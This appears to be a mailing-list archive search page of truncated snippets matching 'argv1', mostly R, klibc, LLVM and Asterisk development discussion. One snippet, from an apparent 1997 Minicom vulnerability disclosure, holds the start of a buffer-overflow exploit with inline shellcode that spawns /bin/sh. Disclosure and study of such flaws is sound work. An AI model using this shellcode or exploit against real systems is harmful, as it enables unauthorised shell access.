Displaying 11 results from an estimated 11 matches for "argv1".
Did you mean:
argv
2009 Nov 11
0
Passing MULTIPLE arguments from php file to r scripts
...m a PHP page to r scipts.Because i have done the same
thing.
http://www.math.ncu.edu.tw/~chenwc/R_note/index.php?item=php&subitem=ex_1<http://www.math.ncu.edu.tw/%7Echenwc/R_note/index.php?item=php&subitem=ex_1>
*CONTENTS OF MY PHP FILE: ex_1.php*
<?php**
$cmd = "echo 'argv1 <- \"ex_1.R\"; source(argv1)' | " .
"/usr/bin/R --vanilla --slave ";
$ret = system($cmd);
?>
Assigned the file name to argv1 and passed argv1 to source() function for
running r scripts
*CONTENTS OF MY R FILE: ex_1.r*
print("hello")
print...
2006 Apr 09
1
[PATCH] kbuild: rebuild initramfs if included files changes
...+}
+
+default_initramfs() {
+ cat <<-EOF >> ${output}
+ # This is a very simple, default initramfs
+
+ dir /dev 0755 0 0
+ nod /dev/console 0600 0 0 c 5 1
+ dir /root 0700 0 0
+ # file /kinit usr/kinit/kinit 0755 0 0
+ # slink /init kinit 0755 0 0
+ EOF
+}
+
+filetype() {
+ local argv1="$1"
+
+ # symlink test must come before file test
+ if [ -L "${argv1}" ]; then
+ echo "slink"
+ elif [ -f "${argv1}" ]; then
+ echo "file"
+ elif [ -d "${argv1}" ]; then
+ echo "dir"
+ elif [ -b "${argv1}" -o -c &qu...
2006 Apr 08
0
[WIP] rebuild initramfs when content changes
...cat <<-EOF >> ${cpio_list}
# This is a very simple, default initramfs
dir /dev 0755 0 0
nod /dev/console 0600 0 0 c 5 1
dir /root 0700 0 0
# file /kinit usr/kinit/kinit 0755 0 0
# slink /init kinit 0755 0 0
file /init usr/kinit/kinit 0755 0 0
EOF
}
filetype() {
local argv1="$1"
# symlink test must come before file test
if [ -L "${argv1}" ]; then
echo "slink"
elif [ -f "${argv1}" ]; then
echo "file"
elif [ -d "${argv1}" ]; then
echo "dir"
elif [ -b "${argv1}" -o -c "${argv...
2014 May 13
2
[LLVMdev] [PATCH] CMake add_version_info_from_vcs SVN_REPOSITORY
...-# existence of certain subdirectories under CMAKE_CURRENT_SOURCE_DIR.
+# existence of certain subdirectories under CMAKE_CURRENT_SOURCE_DIR
+# or optional 2nd argument.
function(add_version_info_from_vcs VERS)
string(REPLACE "svn" "" result "${${VERS}}")
+ if( ARGV1 )
+ set(CMAKE_CURRENT_SOURCE_DIR "${ARGV1}")
+ endif()
if( EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/.svn" )
set(result "${result}svn")
# FindSubversion does not work with symlinks. See PR 8437
@@ -14,15 +18,16 @@ function(add_version_info_from_vcs VERS)...
2010 Sep 09
0
calling Rf_initEmbeddedR error
Hi all,
I have a problem of Rf_initEmbeddedR function.
I've tried with:
try
{
int Argc1 = 1;
char *Argv1[] = {"Rtest_1"};
int Argc2 = 1;
char *Argv2[] = {"Rtest_2"};
// Init R(first)
Rf_initEmbeddedR(Argc1, Argv1);
// R package load
SEXP e = R_NilValue;
SEXP r = R_NilValue;
PROTECT(e = lang2(install("source"), mkString("hreg....
2004 Jan 16
1
CDR problem with macros
Hi there,
whenever I use a macro to dial out I see only "s" recorded in the dst
field of the CDR. Is there anyway to get around that problem except for
not using a macro?
Example:
[default]
exten => 1234,1,macro(dial-out)
[macro-dial-out]
exten => s,1,Dial(SIP/test,30,r)
Now, I can probably catch the "unavailable" and the "busy" case using the
2006 Apr 17
0
[PATCH] klibc: default initramfs content stored in usr/initramfs.default
.../kinit \\
-}
-
-default_initramfs() {
- cat <<-EOF >> ${output}
- # This is a very simple, default initramfs
-
- dir dev 0755 0 0
- nod dev/console 0600 0 0 c 5 1
- dir root 0700 0 0
- file kinit usr/kinit/kinit 0755 0 0
- slink init kinit 0755 0 0
- EOF
-}
-
filetype() {
local argv1="$1"
@@ -184,9 +167,7 @@ # if only one file is specified and it i
# if a directory is specified then add all files in given direcotry to fs
# if a regular file is specified assume it is in gen_initramfs format
input_file() {
- if [ "$1" == "-d" ]; then
- ${dep_li...
2006 Jun 26
0
[klibc 08/43] klibc: default initramfs content stored in usr/initramfs.default
...-}
-
-default_initramfs() {
- cat <<-EOF >> ${output}
- # This is a very simple, default initramfs
-
- dir /dev 0755 0 0
- nod /dev/console 0600 0 0 c 5 1
- dir /root 0700 0 0
- # file /kinit usr/kinit/kinit 0755 0 0
- # slink /init kinit 0755 0 0
- EOF
-}
-
filetype() {
local argv1="$1"
@@ -167,8 +149,6 @@ header() {
# process one directory (incl sub-directories)
dir_filelist() {
- ${dep_list}header "$1"
-
srcdir=$(echo "$1" | sed -e 's://*:/:g')
dirlist=$(find "${srcdir}" -printf "%p %m %U %G\n" 2>/dev/nu...
1997 Feb 09
0
Minicom 1.75 Vulnerability
...*/
/* stack -640 153 /usr/bin/minicom -t vt100 -d "" */
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#define NOP 0x90
const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";
extern code();
void dummy( void )
{
extern lbl();
/* do "exec( "/bin/sh" ); exit(0)" */
__asm__( "
code: xorl %edx, %edx
pushl %edx
jmp lbl
start2: movl %esp, %ecx
popl %ebx
movb %edx, 0x7(%ebx)
xorl %eax, %eax
movb $0xB, %eax
int $0x80
xorl %ebx,...
2009 Aug 21
3
Core dump gets created while accessing voicemail
...>)
from /usr/lib/asterisk/modules/app_voicemail.so
opts = {0xbe5a108 "VoiceMailMain", 0x1b <Address 0x1b out of
bounds>}
---Type <return> to continue, or q <return> to quit---
args = {argc = 1, argv = 0x41752928, argv0 = 0x4174bcc0 "1369",
argv1 = 0x0}
res = -1
cmd = 0
valid = 1
u = (struct ast_module_user *) 0xbfcfcf0
prefixstr = '\0' <repeats 79 times>
ext_context = '\0' <repeats 255 times>
useadsi = 0
skipuser = 1098195280
vms = {curbox =...
2006 Jun 28
35
[klibc 00/31] klibc as a historyless patchset (updated and reorganized)
I have updated the klibc patchset based on feedback received. In
particular, the patchset has been reorganized so as not to break
git-bisect.
Additionally, this updates the patch base to 2.6.17-git12
(d38b69689c349f35502b92e20dafb30c62d49d63) and klibc 1.4.8; the main
difference on the klibc side is removal of obsolete code.
This is also available as a git tree at: